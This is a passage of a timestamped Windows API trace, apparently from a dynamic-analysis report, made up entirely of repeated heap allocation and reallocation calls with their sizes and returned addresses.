RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40ed60 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f418, Size=0x24) returned 0x4084a0 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4111c8 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084a0, Size=0x28) returned 0x4084d0 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4111e8 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084d0, Size=0x2c) returned 0x40a790 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411208 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a790, Size=0x30) returned 0x40a758 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411228 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a758, Size=0x34) returned 0x409968 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411248 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409968, Size=0x38) returned 0x409928 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411268 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409928, Size=0x3c) returned 0x4021c8 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411288 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4021c8, Size=0x40) returned 0x402180 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4112a8 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfa0, Size=0xc) returned 0x403800 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4112c8 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bfa0 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4112e8 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfa0, Size=0x8) returned 0x40bf90 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411308 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0xc) returned 0x4037d0 [0031.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411328 [0031.924] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4037d0, Size=0x10) returned 0x403818 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411348 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x403818, Size=0x14) returned 0x411368 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411388 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x411368, Size=0x18) returned 0x4113a8 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411368 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4113a8, Size=0x1c) returned 0x40f418 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4113a8 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f418, Size=0x20) returned 0x40f3f0 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4113c8 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f3f0, Size=0x24) returned 0x4084d0 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4113e8 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084d0, Size=0x28) returned 0x4084a0 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411408 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084a0, Size=0x2c) returned 0x40a758 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411428 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a758, Size=0x30) returned 0x40a790 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411448 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a790, Size=0x34) returned 0x409928 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411468 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409928, Size=0x38) returned 0x409968 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411488 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409968, Size=0x3c) returned 0x4021c8 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4114a8 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4021c8, Size=0x40) returned 0x402210 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4114c8 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x402210, Size=0x44) returned 0x40fae8 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4114e8 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x48) returned 0x40fae8 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411508 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x4c) returned 0x40fae8 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411528 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x50) returned 0x40fae8 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411548 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x54) returned 0x40fae8 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411568 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x58) returned 0x40fae8 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411588 [0031.925] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x5c) returned 0x40fae8 [0031.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4115a8 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x60) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4115c8 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x64) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4115e8 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x68) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411608 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x6c) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411628 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x70) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411648 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x74) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411668 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x78) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411688 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x7c) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4116a8 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x80) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4116c8 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x84) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4116e8 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x88) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411708 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x8c) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411728 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x90) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411748 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x94) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411768 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x98) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411788 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0x9c) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4117a8 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xa0) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4117c8 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xa4) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4117e8 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xa8) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411808 [0031.926] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xac) returned 0x40fae8 [0031.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411828 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xb0) returned 0x40fae8 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411848 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xb4) returned 0x40fae8 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411868 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xb8) returned 0x40fae8 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411888 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xbc) returned 0x40fae8 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4118a8 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xc0) returned 0x40fae8 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4118c8 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xc4) returned 0x40fae8 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4118e8 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xc8) returned 0x40fae8 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411908 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fae8, Size=0xcc) returned 0x40fae8 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411928 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a720, Size=0x30) returned 0x40a790 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411948 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf90 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411968 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0x8) returned 0x40bfa0 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411988 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf90 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4119c8 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0x8) returned 0x40bf80 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4119e8 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf80, Size=0xc) returned 0x403818 [0031.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411a08 [0031.927] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x403818, Size=0x10) returned 0x4037d0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411a28 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4037d0, Size=0x14) returned 0x411a48 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411a68 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x411a48, Size=0x18) returned 0x411a88 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411a48 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x411a88, Size=0x1c) returned 0x40f3f0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411a88 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f3f0, Size=0x20) returned 0x40f418 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411aa8 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f418, Size=0x24) returned 0x4084a0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411ac8 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084a0, Size=0x28) returned 0x4084d0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411ae8 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084d0, Size=0x2c) returned 0x40a720 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411b08 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a720, Size=0x30) returned 0x40a758 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411b28 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a758, Size=0x34) returned 0x409968 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411b48 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409968, Size=0x38) returned 0x409928 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411b68 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409928, Size=0x3c) returned 0x402210 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411b88 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x402210, Size=0x40) returned 0x4021c8 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411ba8 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4021c8, Size=0x44) returned 0x40fbc0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411bc8 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x48) returned 0x40fbc0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411be8 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x4c) returned 0x40fbc0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411c08 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x50) returned 0x40fbc0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411c28 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x54) returned 0x40fbc0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411c48 [0031.928] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x58) returned 0x40fbc0 [0031.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411c68 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x5c) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411c88 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x60) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411ca8 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x64) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411cc8 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x68) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411ce8 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x6c) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411d08 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x70) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411d28 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x74) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411d48 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x78) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411d68 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x7c) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411d88 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x80) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411da8 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x84) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411dc8 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x88) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411de8 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x8c) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411e08 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x90) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411e28 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x94) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411e48 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x98) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411e68 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x9c) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411e88 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0xa0) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411ea8 [0031.929] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0xa4) returned 0x40fbc0 [0031.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411ec8 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0xa8) returned 0x40fbc0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411ee8 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0xac) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411f08 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xb0) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411f28 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xb4) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411f48 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xb8) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411f68 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xbc) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411f88 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xc0) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411fa8 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xc4) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411fc8 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xc8) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x411fe8 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xcc) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412008 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xd0) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412028 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xd4) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412048 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xd8) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412068 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xdc) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412088 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xe0) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4120a8 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xe4) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4120c8 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xe8) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4120e8 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xec) returned 0x4121b0 [0031.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412108 [0031.930] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xf0) returned 0x4121b0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412128 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xf4) returned 